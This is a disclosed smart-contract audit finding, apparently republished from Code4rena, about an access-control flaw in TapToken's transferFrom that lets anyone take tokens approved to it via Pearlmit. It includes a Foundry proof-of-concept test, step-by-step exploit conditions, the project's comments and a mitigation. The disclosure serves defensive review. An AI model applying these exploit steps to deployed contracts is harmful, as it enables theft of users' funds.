Skip to content
Access control Audit finding Intermediate

anyone with a Pearlmit approval to transfer TapToken can have their funds stolen

The TapToken transferFrom function falls back to Pearlmit allowance checks using the TapToken contract itself as the spender, so any user who has approved TapToken in Pearlmit can have their tokens stolen by anyone. An attacker can call transferFrom to move the victim's approved tokens to themselves.

immeas Follow with KIntern_NA, carrotsmuggler and 1 other

Originally disclosed on Code4rena

Submitted by immeas, also found by KIntern_NA, carrotsmuggler, and GalloDaSballo

When transferring TapToken there is an extra check done in BaseTapiocaOmnichainEngine::transferFrom:

File: tapioca-periph/contracts/tapiocaOmnichainEngine/BaseTapiocaOmnichainEngine.sol

63:        if (allowance(from, spender) < value) {
64:            // _transfer(from, to, value);
65:            bool isErr = pearlmit.transferFromERC20(from, to, address(this), value);
66:            if (isErr) revert BaseTapiocaOmnichainEngine_NotValid();
67:        } else {

Here there’s if the spender is not allowed, the allowance is checked in Pearlmit. The issue is that, Pearlmit checks the allowance against msg.sender which in this case will be the TapToken contract. Hence, any user with an allowance to the TapToken contract in Pearlmit can have their TAP stolen.

Impact

If a user has allowed TapToken to transfer TapToken through Pearlmit, they can have all they have approved stolen. Since TapToken does a lot of token handling in composed messages, this is likely to happen.

Proof of Concept

Test in tap-token/test/TapToken.t.sol:

    function testStealTapTokenUsingPearlmitAllowanceToTapToken() public {
        deal(address(aTapOFT), userA, 1e18);
        assertEq(aTapOFT.balanceOf(userA), 1e18);
        assertEq(aTapOFT.balanceOf(userB), 0);

        // userA allows TapToken to transfer TapTokens
        vm.startPrank(userA);
        pearlmit.approve(address(aTapOFT), 0, address(aTapOFT), 1e18, type(uint48).max);
        aTapOFT.approve(address(pearlmit), 1e18);
        vm.stopPrank();

        // userB sees this and uses that allowance to transfer to themselves
        vm.prank(userB);
        aTapOFT.transferFrom(userA,userB, 1e18);

        assertEq(aTapOFT.balanceOf(userA), 0);
        assertEq(aTapOFT.balanceOf(userB), 1e18);
    }

Recommended Mitigation Steps

Consider not doing the fallback to Pearlmit in transferFrom.

Assessed type

Access Control

cryptotechmaker (Tapioca) commented:

Low/Invalid; The issue seems a bit out of context. The link provided is from BaseTapiocaOmnichainEngine and there’s no context provided from which part this is triggered on TapToken.

Also this would be possible only if the approve in pearlmit is done with a large enough deadline and amount someone else can exploit. All pearlmit approvals have a deadline associated with them.

0xRektora (Tapioca) confirmed and commented:

I’d keep it as medium. Potential side effects might happen on current/future TOE tokens.


The original report as published on Code4rena, by immeas. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the fallback to Pearlmit in transferFrom checks allowance against msg.sender (the TapToken contract) instead of the actual caller, so any Pearlmit allowance to TapToken can be abused.

Impact

Any user who has approved TapToken in Pearlmit could have all approved tokens stolen; the project noted this requires a large enough deadline and amount, and rated it medium.

What the attacker needed

Victim approved TapToken in Pearlmit; victim approved Pearlmit for TapToken; attacker can call transferFrom

The fix

The fallback to Pearlmit in transferFrom should be removed, as recommended.

How it was found

  1. Victim approves TapToken in Pearlmit to spend their TapTokens.
  2. Victim also approves Pearlmit to spend their TapTokens.
  3. Attacker calls transferFrom on TapToken from the victim to themselves.
  4. The transfer succeeds because the allowance check uses TapToken as the spender.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A token contract lets people approve it to move their tokens. Because of a mistake, that approval is checked as if the token contract itself were the person spending, so anyone can use that approval to take the tokens. The victim only needs to have approved the token contract at some point.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by immeas

View all

24 more disclosed reports, best first.

More from Tapioca Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.